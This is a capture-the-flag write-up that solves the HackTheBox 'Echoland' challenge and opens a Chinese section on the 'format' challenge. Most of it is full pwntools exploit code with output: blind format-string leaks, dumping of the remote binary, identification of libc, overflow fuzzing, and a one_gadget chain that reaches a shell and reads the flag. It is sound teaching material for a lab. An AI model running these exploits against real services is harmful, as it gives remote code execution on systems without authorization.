The last option is to (2) Run outside. but it looks like an [infinite loop](https://cwe.mitre.org/data/definitions/835.html).

``` bash
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 2
2

1. Scream.
2. Run outside.
> 2
2

1. Scream.
2. Run outside.
> 2
2
```

#### 1. Spot the first vulnerability — Format String:

Simple check with %p as an input leaked some data from the stack and %s crashed the binary.

``` bash
1. Scream.
2. Run outside.
> %p--%p--%p
0x6e--0xfffffff4--0x10

1. Scream.
2. Run outside.
> %s
/home/ctf/run_challenge.sh: line 2:    31 Segmentation fault      ./echoland
```

You can use Format String vulnerability to your advantage and leak the pointers from binary using %p to get a general overview of the application.

 - dumpbinary.py

``` bash
from pwn import *
from struct import *
#-*- coding: utf-8 -*-

context.log_level = 'error'
context.update(arch = 'amd64', os = 'linux')
ip, port = "138.68.136.191:32714".split(":")

def leak_pointers_from_stack(ip,port):
    '''Format string - leak pointers to get the libc/main address and architecture.'''
    for i in range(0,20):
        try:
            p = remote(ip,port)
            p.sendline("%{}$p".format(i).encode())
            sleep(0.2)
            leak = p.recv()
            x =str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0]
            print(x)
            p.close()
        except:
            p.close()
            pass

leak_pointers_from_stack(ip,port)
```

As you can see below, on the target machine there is x64 architecture, ASLR being on, we can leak pointer to the main module at the 12th offset and pointer from libc at the 13th position:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
0 :  %0$p
1 :  0x6e
2 :  0xfffffff4
3 :  0x10
4 :  0x1d
5 :  0x7f2fa48984c0
6 :  0x7ffd57971488
7 :  0x100000000
8 :  0xa70243825
9 :  (nil)
10 :  0x7fff00000000
11 :  0x100000000
12 :  0x561b128fa400
13 :  0x7f73669d5bf7
14 :  0x1
15 :  0x7ffdd033d9c8
16 :  0x100008000
17 :  0x5555abc312ef
18 :  (nil)
19 :  0xe5eeacab581ae7b3
```

#### 2. Blind Format String — finding magic bytes:

In order to dump binary code, you have to first find any pointer from the main module and it was shown above.

Then you have to automatically grab this pointer for further exploitation using the below function which returns leaked main address — thus bypassing ASLR:

``` bash
def leak_pointer_to_main():
    '''12th pointer is one from the main()'''
    p.sendline(b"%12$p")
    sleep(1)
    p.recvuntil(b"> ")
    leak_all = p.recv()
    leak = leak_all.decode().split("\n")[0]
    print("Leaked main address: " + leak)
    return int(leak,16)
```

Then you have to subtract some bytes till you find [ELF magic bytes](https://unix.stackexchange.com/questions/153352/what-is-elf-magic).

This is an important step, because you should dump the binary from the ELF header segment.

``` bash
def search_elf_magic_bytes(leaked_main,addr):
    '''Search through the process memory to find ELF magic bytes: \x7fELF.'''
    while True:
        leak_part = b"%9$sEOF" + b"\x00"
        try:
            p.sendline(leak_part + p64(leaked_main + addr))
            resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
            leak = resp.split(b"EOF")[0] + b"\x00"
            print("Deferenced pointer: " + leak.decode("unicode_escape"))
            if b"\x7FELF" in leak:
                magic_bytes = leaked_main + addr
                print("MAGIC BYTES FOUND @: " + hex(magic_bytes))
                return magic_bytes, False
                break
            addr -=0x100
        except:
            addr -=0x100
            p.close()
            return addr, True
# Find ELF magic bytes => start_main_address
elf_found=True
addr = 0
leaked_main = 0
while elf_found:
    p = remote(ip,port)
    print("CURRENT ADDRESS = " + hex(addr))
    leaked_main = leak_pointer_to_main() + addr
    addr, elf_found = search_elf_magic_bytes(leaked_main,addr)
start_main_addr = addr
```

The above function search_elf_magic_bytes is very simple:

1. It connects to the target binary at line 62 until it does not find ELF magic bytes while elf_found — 61st line.
2. It executes the function leak_pointer_to_main() at line 64 and adds addr variables to the returned by the function address of main.
3. This addr variable is returned by the search_elf_magic_bytes and it is being decremented by 0x100 until it finds ELF magic bytes, then it will return the calculated pointer to those bytes.
4. search_elf_magic_bytes handles exceptions, because during pointer deference using %s at line 42 there is a big chance of a Segmentation fault because not every location points to a valid string array.
5. There is a nice trick at line 45 if you are using Python 3 and working with bytes, to decode those bytes using “unicode_escape” . Usually, it will give better results than “ASCII” or “UTF-8” .

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x556120bbf400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x556120bbe000
```

As you can see above, magic bytes were found and from this point, you can begin leaking bytes to re-create the binary on your machine.

#### 3. Blind Format String — dumping the binary:

By leaking the pointer address to the ELF header you can actually dump the binary code and then decompile it using Ghidra/IDA/Binary ninja or any other RE tool that you like.

``` bash
def dump_binary(magic_bytes_addr):
    '''Dump the binary data'''
    base = magic_bytes_addr
    leak,leaked = bytearray(),bytearray()
    offset = len(leaked)
    while offset <= 0x5000:
        with open("leak.bin", "ab") as l:
            addr = p64(base + len(leaked))
            leak_part = b"%9$sEOF\x00"
            p.sendline(leak_part + addr)
            resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
            leak = resp.split(b"EOF")[0] + b"\x00"
            leaked.extend(leak)
            print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Offset: " + str(offset) + ":" + hex(offset)+ " - Leaked data: " + leak.decode("unicode_escape"))
            l.write(leak)
            l.flush()
            offset = len(leaked)

# Dump binary:
dump_binary(start_main_addr)
```

Using pointer deference at line 77 and proper stack alignment at line 78 dump raw bytes of remote binary to your machine.

The whole binary got the length of 0x5000 bytes, that is why while loop count to 0x5000 at line 74.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x55edf90c8400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x55edf90c7000
Address: 0x55edf90c7000 - Offset: 0:0x0 - Leaked data: \x7fELF\x00
Address: 0x55edf90c7008 - Offset: 8:0x8 - Leaked data: \x00
Address: 0x55edf90c7009 - Offset: 9:0x9 - Leaked data: \x00
Address: 0x55edf90c700a - Offset: 10:0xa - Leaked data: \x00
Address: 0x55edf90c700b - Offset: 11:0xb - Leaked data: \x00
Address: 0x55edf90c700c - Offset: 12:0xc - Leaked data: \x00
Address: 0x55edf90c700d - Offset: 13:0xd - Leaked data: \x00
Address: 0x55edf90c700e - Offset: 14:0xe - Leaked data: \x00
Address: 0x55edf90c700f - Offset: 15:0xf - Leaked data: \x00
Address: 0x55edf90c7010 - Offset: 16:0x10 - Leaked data: \x03
Address: 0x55edf90c7012 - Offset: 18:0x12 - Leaked data: >\x00
......
```

You can watch the dump file slowly growing using tail -f leak.bin | xxd command.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# tail -f leak.bin | xxd
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 6011 0000 0000 0000  ..>.....`.......
00000020: 4000 0000 0000 0000 883b 0000 0000 0000  @........;......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
```

Voilà, now you can use this leaked file to decompile it using Binary Ninja.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# file echoland
echoland: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=10fa1c1fe305a86450ba9c555e3932a3e5c2633a, for GNU/Linux 3.2.0, not stripped
```

#### 4. Reverse the leaked binary:

Open the leaked file using any decompiler on leak.bin for example, Binary Ninja and click on _start symbol (Ghidra couldn’t analyze this so well like Binary Ninja and this is not an advertisement ^^):

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland.jpg)

As you can see this is a typical main function loader and data_12ef should be the pointer to the main() (if you can’t see the screen below, click p ):

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland1.jpg)

When you double click on this address it will redirect you to another one, double click it again and you will see the main() :

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland2.jpg)

Now a bit of Reverse Engineering to get the printf@GOT and then deference it to get the last 3 bytes of printf function address, so you can get the idea of what libc version is being used on the target system.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland3.jpg)

Above you can see main() — this is the corresponding code to the “Welcome message” where you chose between two options and leak data using format string vulnerability.

At the offset 0000133c and the offset 000013ad you can see sub_1100 call.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland4.jpg)

This is the call you are looking for — printf@PLT and you can guess it because 1. it prints data at 0000133c 2. decompiled code is vulnerable to format string at line 000013ad .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland5.jpg)

Above you can see an example of a vulnerable C code from OWASP, can you see the similarities? :)

If yes, go on and double click on sub_1100() to get into the stub.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland6.jpg)

As you can see now if you double-click on data_3fa8 you should be redirected to the GOT table…

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland7.jpg)

... and indeed, here you are. 0003fa8 offset is the printf@GOT .

#### 5. Get the target libc:

The below function will calculate the proper address of printf@plt during runtime, it is just adding printf@GOT offset to the leaked before the address of ELF magic bytes, which are start_main_addr :

``` bash
# After reversing - 0x00003fa8
def leak_printf_got(start_main_addr):
    '''Leak printf@GOT - which is dynamically linked during runtime'''
    printf_GOT = 0x00003fa8
    printf_addr = start_main_addr + printf_GOT
    print("Leaked printf address: " + hex(printf_addr))
    leak_part = b"%9$sEOF\x00"
    p.sendline(leak_part + p64(printf_addr))
    resp = p.recv()#until(b"1. Scream.\n2. Run outside.\n> ")
    leak = resp.split(b"EOF")[0] + b"\x00"
    libc_printf = hex(u64(leak.ljust(8,b"\x00")))
    print("[!!!] Leaked libc printf : " + libc_printf)
    return int(libc_printf,16)

libc_printf = leak_printf_got(start_main_addr)
```

As you can see below, it works, you get the printf() from remote libc.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x55f8dd753400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x55f8dd752000
Leaked printf address: 0x55f8dd755fa8
[!!!] Leaked libc printf : 0x7fe7f9a4bf70
```

Now use the last three bytes to query the libc database to check what version of libc is being used on the target system:

 - [libc database search](https://libc.blukat.me/)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland8.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland9.jpg)

As you can see above, there are 5 different libc to choose from I was sure, the target system was AMD so I picked 3rd one.

In the situation when you have more potentially valid libc to choose from, you can try to decompile more functions from dumped leak.bin and using %s leak their address during runtime, then you should get only one libc.

Click on this libc and download it. It will be used later to calculate the [one_gadget](https://github.com/david942j/one_gadget) address.

 - [libc6_2.27-3ubuntu1.4_amd64.so](https://libc.blukat.me/d/libc6_2.27-3ubuntu1.4_amd64.so)

#### 6. Spot the second vulnerability — buffer overflow:

The second vulnerability could be found for example by fuzzing the app.

Below is my quick and dirty Buffer overflow fuzzer which fuzz the first option with chars between 30–100 length:

``` bash
def fuzz_buffer_overflow(ip,port):
    '''Find the offset of RIP overflow'''
    for i in range(30,100):
        try:
            p = remote(ip,port)
            p.sendline(b"1")
            sleep(0.3)
            p.recv()
            print("FUZZING: " + str(i))
            p.sendline(cyclic(i))
            sleep(0.3)
            data = p.recv()
            print(data.decode("unicode_escape"))
            if b"Segmentation" in data:
                print("========================\nBuffer overflow found @: " + str(i) + "\n========================")
                break
            p.close()
        except:
            p.close()
            pass

fuzz_buffer_overflow(ip,port)
```

As you can see there is potential buffer overflow at offset 64:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 fuzzing.py
......
FUZZING: 63

1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!

FUZZING: 64

1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2:    95 Segmentation fault      ./echoland

========================
Buffer overflow found @: 64
========================
```

#### 7. Get the RCE — calculate one_gadget:

The last step to gain control over the target binary execution flow is to calculate the address of one_gadget.

First use one_gadget on the leaked binary:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# one_gadget libc6_2.27-3ubuntu1.4_amd64.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Always choose the address with fewer conditions that should be fulfilled.

In above example 0x4f3d5 offset is promising because it needs only one null byte at the rsp+0x40

You can actually overflow those bytes during Buffer Overflow, below was added 0x70 bytes after the one_gadget:

``` bash
def get_rce(libc_printf):
    printf_libc_offset = 0x0000000000064f70
    one_gadget = 0x4f432
    rce = libc_printf - printf_libc_offset + one_gadget
    print("CALCULATED RCE: " + hex(rce))
    p.sendline(b"1")
    p.recv()
    p.send(b"A"*64 +p64(0x0000000000064f70) + p64(rce) + b"\x00"*0x70)
    p.interactive()

get_rce(libc_printf)
```

The last thing to mention, 65–72 bytes are overflowing probably Frame Pointer and it has to be valid — it should be in the binary memory address space range.

73–80 bytes have to be overflowed with one_gadget — this is actually control over the instruction pointer.

Above, at line 139 I picked just a random low address (printf@GOT) but you could probably overflow this with the one_gadget.

final exp:

``` bash
from pwn import *
from struct import *
#-*- coding: utf-8 -*-

context.log_level = 'error'
context.update(arch = 'amd64', os = 'linux')
ip, port = "138.68.129.154:31898".split(":")

def leak_pointers_from_stack(ip,port):
    '''Format string - leak pointers to get the libc/main address and architecture.'''
    for i in range(0,20):
        try:
            p = remote(ip,port)
            p.sendline("%{}$p".format(i).encode())
            sleep(1)
            leak = p.recv()
            x = str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0]
            print(x)
            p.close()
        except:
            p.close()
            pass

# leak_pointers_from_stack(ip,port)
def leak_pointer_to_main():
    '''12th pointer is one from the main()'''
    p.sendline(b"%12$p")
    sleep(1)
    p.recvuntil(b"> ")
    leak_all = p.recv()
    leak = leak_all.decode().split("\n")[0]
    print("Leaked main address: " + leak)
    return int(leak,16)

def search_elf_magic_bytes(leaked_main,addr):
    '''Search through the process memory to find ELF magic bytes: \x7fELF.'''
    while True:
        leak_part = b"%9$sEOF" + b"\x00"
        try:
            p.sendline(leak_part + p64(leaked_main + addr))
            resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
            leak = resp.split(b"EOF")[0] + b"\x00"
            print("Deferenced pointer: " + leak.decode("unicode_escape"))
            if b"\x7FELF" in leak:
                magic_bytes = leaked_main + addr
                print("MAGIC BYTES FOUND @: " + hex(magic_bytes))
                return magic_bytes, False
                break
            addr -=0x100
        except:
            addr -=0x100
            p.close()
            return addr, True

# Find ELF magic bytes => start_main_address
elf_found=True
addr = 0
leaked_main = 0
while elf_found:
    p = remote(ip,port)
    print("CURRENT ADDRESS = " + hex(addr))
    leaked_main = leak_pointer_to_main() + addr
    addr, elf_found = search_elf_magic_bytes(leaked_main,addr)

start_main_addr = addr

def dump_binary(magic_bytes_addr):
    '''Dump the binary data'''
    base = magic_bytes_addr
    leak,leaked = bytearray(),bytearray()
    offset = len(leaked)
    while offset <= 0x5000:
        with open("leak.bin", "ab") as l:
            addr = p64(base + len(leaked))
            leak_part = b"%9$sEOF\x00"
            p.sendline(leak_part + addr)
            resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ")
            leak = resp.split(b"EOF")[0] + b"\x00"
            leaked.extend(leak)
            print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Offset: " + str(offset) + ":" + hex(offset)+ " - Leaked data: " + leak.decode("unicode_escape"))
            l.write(leak)
            l.flush()
            offset = len(leaked)

# Dump binary:
# dump_binary(start_main_addr)

# After reversing - 0x00003fa8
def leak_printf_got(start_main_addr):
    '''Leak printf@GOT - which is dynamically linked during runtime'''
    printf_GOT = 0x00003fa8
    printf_addr = start_main_addr + printf_GOT
    print("Leaked printf address: " + hex(printf_addr))
    leak_part = b"%9$sEOF\x00"
    p.sendline(leak_part + p64(printf_addr))
    resp = p.recv()#until(b"1. Scream.\n2. Run outside.\n> ")
    leak = resp.split(b"EOF")[0] + b"\x00"
    libc_printf = hex(u64(leak.ljust(8,b"\x00")))
    print("[!!!] Leaked libc printf : " + libc_printf)
    return int(libc_printf,16)

libc_printf = leak_printf_got(start_main_addr)

def fuzz_buffer_overflow(ip,port):
    '''Find the offset of RIP overflow'''
    for i in range(30,100):
        try:
            p = remote(ip,port)
            p.sendline(b"1")
            sleep(1)
            p.recv()
            print("FUZZING: " + str(i))
            p.sendline(cyclic(i))
            sleep(1)
            data = p.recv()
            print(data.decode("unicode_escape"))
            if b"Segmentation" in data:
                print("========================\nBuffer overflow found @: " + str(i) + "\n========================")
                break
            p.close()
        except:
            p.close()
            pass

#fuzz_buffer_overflow(ip,port)

def get_rce(libc_printf):
    printf_libc_offset = 0x0000000000064f70
    one_gadget = 0x4f432
    rce = libc_printf - printf_libc_offset + one_gadget
    print("CALCULATED RCE: " + hex(rce))
    p.sendline(b"1")
    p.recv()
    p.send(b"A"*64 +p64(0x0000000000064f70) + p64(rce) + b"\x00"*0x70)
    p.interactive()

get_rce(libc_printf)
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 dumpbinary.py
CURRENT ADDRESS = 0x0
Leaked main address: 0x561281687400
Deferenced pointer: ó\x0fúAWL=k)\x00
Deferenced pointer: uÐèYÿÿÿÇEü\x00
Deferenced pointer: ó\x0fú=\x1d\x00
Deferenced pointer: ó\x0fúòÿ%.\x00
Deferenced pointer: ó\x0fúHH\x05\x99/\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: ð?\x00
Deferenced pointer: ble\x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x00
Deferenced pointer: \x04
Deferenced pointer: \x00
Deferenced pointer: \x7fELF\x00
MAGIC BYTES FOUND @: 0x561281686000
Leaked printf address: 0x561281689fa8
[!!!] Leaked libc printf : 0x7f1f0dabcf70
CALCULATED RCE: 0x7f1f0daa7432
>> $ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
echoland
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland10.jpg)

other exp script:

 - getshell.py

``` bash
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

import struct
import re

host="138.68.129.154"
port=31898

def search(addr):
    # p = remote(args.srv, args.port)
    # rec = p.recvuntil("> ")
    # print(rec)
    p.sendline(b"%9$s___" + b"\x00" + p64(addr))
    rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
    # print(rec)
    # p.close()
    return rec.split(b"___")[0] + b"\x00"

def searchelf(addr):
    # p = remote(args.srv, args.port)
    # rec = p.recvuntil("> ")
    # print(rec)
    while True:
        p.sendline(b"%9$s___" + b"\x00" + p64(addr))
        rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
        print(rec)
        if rec.split(b"___")[0].startswith("\x7FELF"):
            break
        addr -= 0x1000
    # print(rec)
    # p.close()
    return addr

def get_qword(addr):
    data = b""
    while len(data) < 8:
        p.sendline(b"%9$s___" + b"\x00" + p64(addr))
        rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
        data += rec.split(b"___")[0] + b"\x00"

    data = data[:8]
    return u64(data)

def stackleak():
    # p = remote(args.srv, args.port)
    rec = p.recvuntil(b"> ")
    # print(rec)
    idx = 2
    addrs = {}
    while idx < 64:
        p.sendline("%{}$p".format(idx))
        rec = p.recvuntil(b"> ")
        # print(rec)
        addrs[idx] = rec.split(b"\n")[0]
        idx += 1
    print(addrs)
    # p.close()
    return addrs[12], addrs[13] # main, libc

p = remote(host, port)
main_addr, libc_addr = stackleak()
main_elf = int(main_addr, 16) - 0x1400
libc_elf = int(libc_addr, 16) - 0x21BF7

# print("addr {} elf {}".format(libc_addr, hex(searchelf(libc_elf))))


""" code to copy the entire executable from the memory
offset = 0
f = open("elf2", "a")
while offset < 0x6000:
    data = search(addr + offset)

    print("{} {}".format(offset, data))
    offset += len(data)
    f.write(data)
"""
printf_got_offset = 0x3fa8


print("libc {}".format(hex(libc_elf)))
printf_address = get_qword(main_elf + printf_got_offset)
print("printf address {}".format(hex(printf_address)))
binsh_offset = 0x1b3e1a
binsh_address = libc_elf + binsh_offset
print(search(binsh_address))
print("printf address {}".format(hex(printf_address)))
one_gadget_offset = 0x4f432
one_gadget_address = libc_elf + one_gadget_offset

p.sendline("1")
p.recvuntil(">> ")
p.sendline(p64(one_gadget_address) * 11 + b"\x00" * 0x40)
p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland]
└─# python3 getshell.py
[+] Opening connection to 138.68.129.154 on port 31898: Done
/root/hackthebox/challenge/pwn/echoland/getshell.py:54: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("%{}$p".format(idx))
{2: b'0xfffffff4', 3: b'(nil)', 4: b'0x1d', 5: b'0x7f0fe1ae44c0', 6: b'0x7ffdeffc7288', 7: b'0x100000000', 8: b'0xa70243825', 9: b'(nil)', 10: b'0x7ffd00000000', 11: b'0x100000000', 12: b'0x55a94d2d0400', 13: b'0x7f0fe14efbf7', 14: b'0x1', 15: b'0x7ffdeffc7288', 16: b'0x100008000', 17: b'0x55a94d2d02ef', 18: b'(nil)', 19: b'0xa9482bc8c760734e', 20: b'0x55a94d2d0160', 21: b'0x7ffdeffc7280', 22: b'(nil)', 23: b'(nil)', 24: b'0xfde16e6a2c00734e', 25: b'0xfc05730f383e734e', 26: b'0x7ffd00000000', 27: b'(nil)', 28: b'(nil)', 29: b'0x7f0fe18cf8d3', 30: b'0x7f0fe18b5638', 31: b'0x7f72e', 32: b'(nil)', 33: b'(nil)', 34: b'(nil)', 35: b'0x55a94d2d0160', 36: b'0x7ffdeffc7280', 37: b'0x55a94d2d018e', 38: b'0x7ffdeffc7278', 39: b'0x1c', 40: b'0x1', 41: b'0x7ffdeffc8ea6', 42: b'(nil)', 43: b'0x7ffdeffc8eb1', 44: b'0x7ffdeffc8eb9', 45: b'0x7ffdeffc8ec9', 46: b'0x7ffdeffc8ed3', 47: b'0x7ffdeffc8ee0', 48: b'0x7ffdeffc8ee6', 49: b'0x7ffdeffc8eef', 50: b'0x7ffdeffc8efb', 51: b'0x7ffdeffc8f09', 52: b'0x7ffdeffc8f13', 53: b'0x7ffdeffc8f1f', 54: b'0x7ffdeffc8f2b', 55: b'0x7ffdeffc8f31', 56: b'0x7ffdeffc8f4c', 57: b'0x7ffdeffc8f59', 58: b'0x7ffdeffc8f61', 59: b'0x7ffdeffc8f6b', 60: b'0x7ffdeffc8f79', 61: b'0x7ffdeffc8fbb', 62: b'0x7ffdeffc8fce', 63: b'0x7ffdeffc8fd7'}
libc 0x7f0fe14ce000
/root/hackthebox/challenge/pwn/echoland/getshell.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
printf address 0x70007f0fe1532f70
/root/hackthebox/challenge/pwn/echoland/getshell.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  rec = p.recvuntil("1. Scream.\n2. Run outside.\n> ")
b'/bin/sh\x00'
printf address 0x70007f0fe1532f70
/root/hackthebox/challenge/pwn/echoland/getshell.py:94: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("1")
/root/hackthebox/challenge/pwn/echoland/getshell.py:95: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil(">> ")
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/echoland11.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Echoland challenge — HTB](https://karol-mazurek95.medium.com/pwn-echoland-challenge-htb-3363dbd6dc23)

<!-- kb:end echoland -->

</details>

<a id="case-format"></a>

## PIE 泄漏与格式化写入

两份分析分别追踪栈偏移、libc 识别和写入原语，保留 printf 触发分配及 hook 修改的完整脚本与运行限制。

<p class="kb-provenance">来源 format · 原记录 2021-01-12 · 23 个代码块 · 22 处图片引用</p>

<details class="kb-evidence" id="record-format">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start format -->

#### 详细过程及exp - 1

与任何二进制利用挑战一样，首先在二进制文件上运行checksec，以查看启用了哪种保护。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# checksec format
[*] '/root/hackthebox/challenge/pwn/format/format'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```



我们发现NX, Full RELRO和PIE都是启用的。进一步发现了堆栈Canary的存在。NX被启用意味着不能执行堆栈的内容。启用PIE意味着每次在新进程中生成二进制数据时，都会为该二进制数据选择一个新的基址。Full RELRO意味着不能修改get部分的内容。打开IDA中的二进制文件并分析它，以了解它的功能。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format10.jpg)

main函数分别调用init和echo两个函数。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format11.jpg)

echo函数分别调用偏移量0x10a0和偏移量0x1090的两个函数。PLT部分似乎已被剥离或损坏，因此无法看到确切的函数名。但是，可以查看二进制文件的导入，并做出有根据的猜测。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/format12.jpg)

查看导入表，看到它导入了另外两个函数。根据echo函数中每个函数调用的输入参数，假设偏移量为0x10a0的函数是fgets，偏移量为0x1090的函数是printf。因此，二进制代码似乎接受用户输入，并使用printf将用户输入作为字符串格式参数输出。这被认为是危险的，因为用户现在拥有从栈读取或写入的能力。可以通过使用' %p '或' %s '等格式说明符来验证二进制文件存在格式字符串漏洞。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# ./format
echo test
echo test
%p
0x7f969b0b6a03
%s
```

从上可以看出，能够使用' %p '泄漏堆栈的一个成员。有趣的是，格式说明符还允许使用格式说明符' %offset$p '来选择堆栈上的偏移量。为了理解它是如何工作的，必须理解printf是如何工作的。

